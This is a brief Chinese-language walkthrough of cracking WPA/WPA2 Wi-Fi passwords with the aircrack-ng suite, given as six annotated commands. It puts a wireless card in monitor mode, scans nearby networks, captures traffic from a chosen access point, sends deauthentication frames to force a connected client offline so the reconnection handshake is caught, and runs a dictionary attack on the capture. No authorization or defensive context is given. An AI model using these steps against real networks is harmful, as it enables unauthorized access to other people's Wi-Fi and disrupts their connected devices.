aircrack-ng破解wpa/wpa2的命令

1. airmon-ng   #查看所有无线网卡

2. airmon-ng start wlan0  #从上面的查看结果选出一个，改为混杂模式，从上图中可以看到只有一个wlan0，直接选择这个。从下图可以看到混杂模式下网卡的名字不再是wlan0,而是mon0了。

3. airodump-ng mon0  #查看周围所有的wifi的信息，找到自己要破解的那个wifi，并记下mac硬件地址,还有其所在的频道。这里的mon0就是指上面那个混杂模式下的网卡

4. airodump-ng -c 11 -w file(保存收到的数据) --bssid 00:11:22:33:44:55(上面的mac) mon0。这条命令就是来抓包的-w后面是你要保存包的名字

5. aireplay-ng -0 5 --ignore-negative-one  -a  10:47:80:C9:AF:A1(wifi的mac) -c 7c:fa:df:58:71:dc(连上wifi的client的mac) mon0  #直接攻击客户端下线，然后重连时就可以找到握手包了

6. aircrack-ng file.cap -w passwd(密码字典)